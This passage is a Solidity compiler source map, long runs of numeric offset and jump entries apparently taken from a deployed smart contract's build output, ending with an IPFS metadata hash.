293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:180::-;6580:77;6577:1;6570:88;6677:4;6674:1;6667:15;6701:4;6698:1;6691:15;6718:191;6758:3;6777:20;6795:1;6777:20;:::i;:::-;6772:25;;6811:20;6829:1;6811:20;:::i;:::-;6806:25;;6854:1;6851;6847:9;6840:16;;6875:3;6872:1;6869:10;6866:36;;;6882:18;;:::i;:::-;6866:36;6718:191;;;;:::o;6915:224::-;7055:34;7051:1;7043:6;7039:14;7032:58;7124:7;7119:2;7111:6;7107:15;7100:32;6915:224;:::o;7145:366::-;7287:3;7308:67;7372:2;7367:3;7308:67;:::i;:::-;7301:74;;7384:93;7473:3;7384:93;:::i;:::-;7502:2;7497:3;7493:12;7486:19;;7145:366;;;:::o;7517:419::-;7683:4;7721:2;7710:9;7706:18;7698:26;;7770:9;7764:4;7760:20;7756:1;7745:9;7741:17;7734:47;7798:131;7924:4;7798:131;:::i;:::-;7790:139;;7517:419;;;:::o;7942:225::-;8082:34;8078:1;8070:6;8066:14;8059:58;8151:8;8146:2;8138:6;8134:15;8127:33;7942:225;:::o;8173:366::-;8315:3;8336:67;8400:2;8395:3;8336:67;:::i;:::-;8329:74;;8412:93;8501:3;8412:93;:::i;:::-;8530:2;8525:3;8521:12;8514:19;;8173:366;;;:::o;8545:419::-;8711:4;8749:2;8738:9;8734:18;8726:26;;8798:9;8792:4;8788:20;8784:1;8773:9;8769:17;8762:47;8826:131;8952:4;8826:131;:::i;:::-;8818:139;;8545:419;;;:::o;8970:223::-;9110:34;9106:1;9098:6;9094:14;9087:58;9179:6;9174:2;9166:6;9162:15;9155:31;8970:223;:::o;9199:366::-;9341:3;9362:67;9426:2;9421:3;9362:67;:::i;:::-;9355:74;;9438:93;9527:3;9438:93;:::i;:::-;9556:2;9551:3;9547:12;9540:19;;9199:366;;;:::o;9571:419::-;9737:4;9775:2;9764:9;9760:18;9752:26;;9824:9;9818:4;9814:20;9810:1;9799:9;9795:17;9788:47;9852:131;9978:4;9852:131;:::i;:::-;9844:139;;9571:419;;;:::o;9996:221::-;10136:34;10132:1;10124:6;10120:14;10113:58;10205:4;10200:2;10192:6;10188:15;10181:29;9996:221;:::o;10223:366::-;10365:3;10386:67;10450:2;10445:3;10386:67;:::i;:::-;10379:74;;10462:93;10551:3;10462:93;:::i;:::-;10580:2;10575:3;10571:12;10564:19;;10223:366;;;:::o;10595:419::-;10761:4;10799:2;10788:9;10784:18;10776:26;;10848:9;10842:4;10838:20;10834:1;10823:9;10819:17;10812:47;10876:131;11002:4;10876:131;:::i;:::-;10868:139;;10595:419;;;:::o;11020:179::-;11160:31;11156:1;11148:6;11144:14;11137:55;11020:179;:::o;11205:366::-;11347:3;11368:67;11432:2;11427:3;11368:67;:::i;:::-;11361:74;;11444:93;11533:3;11444:93;:::i;:::-;11562:2;11557:3;11553:12;11546:19;;11205:366;;;:::o;11577:419::-;11743:4;11781:2;11770:9;11766:18;11758:26;;11830:9;11824:4;11820:20;11816:1;11805:9;11801:17;11794:47;11858:131;11984:4;11858:131;:::i;:::-;11850:139;;11577:419;;;:::o;12002:224::-;12142:34;12138:1;12130:6;12126:14;12119:58;12211:7;12206:2;12198:6;12194:15;12187:32;12002:224;:::o;12232:366::-;12374:3;12395:67;12459:2;12454:3;12395:67;:::i;:::-;12388:74;;12471:93;12560:3;12471:93;:::i;:::-;12589:2;12584:3;12580:12;12573:19;;12232:366;;;:::o;12604:419::-;12770:4;12808:2;12797:9;12793:18;12785:26;;12857:9;12851:4;12847:20;12843:1;12832:9;12828:17;12821:47;12885:131;13011:4;12885:131;:::i;:::-;12877:139;;12604:419;;;:::o;13029:222::-;13169:34;13165:1;13157:6;13153:14;13146:58;13238:5;13233:2;13225:6;13221:15;13214:30;13029:222;:::o;13257:366::-;13399:3;13420:67;13484:2;13479:3;13420:67;:::i;:::-;13413:74;;13496:93;13585:3;13496:93;:::i;:::-;13614:2;13609:3;13605:12;13598:19;;13257:366;;;:::o;13629:419::-;13795:4;13833:2;13822:9;13818:18;13810:26;;13882:9;13876:4;13872:20;13868:1;13857:9;13853:17;13846:47;13910:131;14036:4;13910:131;:::i;:::-;13902:139;;13629:419;;;:::o;14054:79::-;14093:7;14122:5;14111:16;;14054:79;;;:::o;14139:157::-;14244:45;14264:24;14282:5;14264:24;:::i;:::-;14244:45;:::i;:::-;14239:3;14232:58;14139:157;;:::o;14302:94::-;14335:8;14383:5;14379:2;14375:14;14354:35;;14302:94;;;:::o;14402:::-;14441:7;14470:20;14484:5;14470:20;:::i;:::-;14459:31;;14402:94;;;:::o;14502:100::-;14541:7;14570:26;14590:5;14570:26;:::i;:::-;14559:37;;14502:100;;;:::o;14608:157::-;14713:45;14733:24;14751:5;14733:24;:::i;:::-;14713:45;:::i;:::-;14708:3;14701:58;14608:157;;:::o;14771:538::-;14939:3;14954:75;15025:3;15016:6;14954:75;:::i;:::-;15054:2;15049:3;15045:12;15038:19;;15067:75;15138:3;15129:6;15067:75;:::i;:::-;15167:2;15162:3;15158:12;15151:19;;15180:75;15251:3;15242:6;15180:75;:::i;:::-;15280:2;15275:3;15271:12;15264:19;;15300:3;15293:10;;14771:538;;;;;;:::o;15315:225::-;15455:34;15451:1;15443:6;15439:14;15432:58;15524:8;15519:2;15511:6;15507:15;15500:33;15315:225;:::o;15546:366::-;15688:3;15709:67;15773:2;15768:3;15709:67;:::i;:::-;15702:74;;15785:93;15874:3;15785:93;:::i;:::-;15903:2;15898:3;15894:12;15887:19;;15546:366;;;:::o;15918:419::-;16084:4;16122:2;16111:9;16107:18;16099:26;;16171:9;16165:4;16161:20;16157:1;16146:9;16142:17;16135:47;16199:131;16325:4;16199:131;:::i;:::-;16191:139;;15918:419;;;:::o;16343:182::-;16483:34;16479:1;16471:6;16467:14;16460:58;16343:182;:::o;16531:366::-;16673:3;16694:67;16758:2;16753:3;16694:67;:::i;:::-;16687:74;;16770:93;16859:3;16770:93;:::i;:::-;16888:2;16883:3;16879:12;16872:19;;16531:366;;;:::o;16903:419::-;17069:4;17107:2;17096:9;17092:18;17084:26;;17156:9;17150:4;17146:20;17142:1;17131:9;17127:17;17120:47;17184:131;17310:4;17184:131;:::i;:::-;17176:139;;16903:419;;;:::o;17328:410::-;17368:7;17391:20;17409:1;17391:20;:::i;:::-;17386:25;;17425:20;17443:1;17425:20;:::i;:::-;17420:25;;17480:1;17477;17473:9;17502:30;17520:11;17502:30;:::i;:::-;17491:41;;17681:1;17672:7;17668:15;17665:1;17662:22;17642:1;17635:9;17615:83;17592:139;;17711:18;;:::i;:::-;17592:139;17376:362;17328:410;;;;:::o;17744:180::-;17792:77;17789:1;17782:88;17889:4;17886:1;17879:15;17913:4;17910:1;17903:15;17930:185;17970:1;17987:20;18005:1;17987:20;:::i;:::-;17982:25;;18021:20;18039:1;18021:20;:::i;:::-;18016:25;;18060:1;18050:35;;18065:18;;:::i;:::-;18050:35;18107:1;18104;18100:9;18095:14;;17930:185;;;;:::o

ipfs://0d4ef72ee760e7c045131180b90208de02d3fc1bc06a7aa4d74b25d344d63886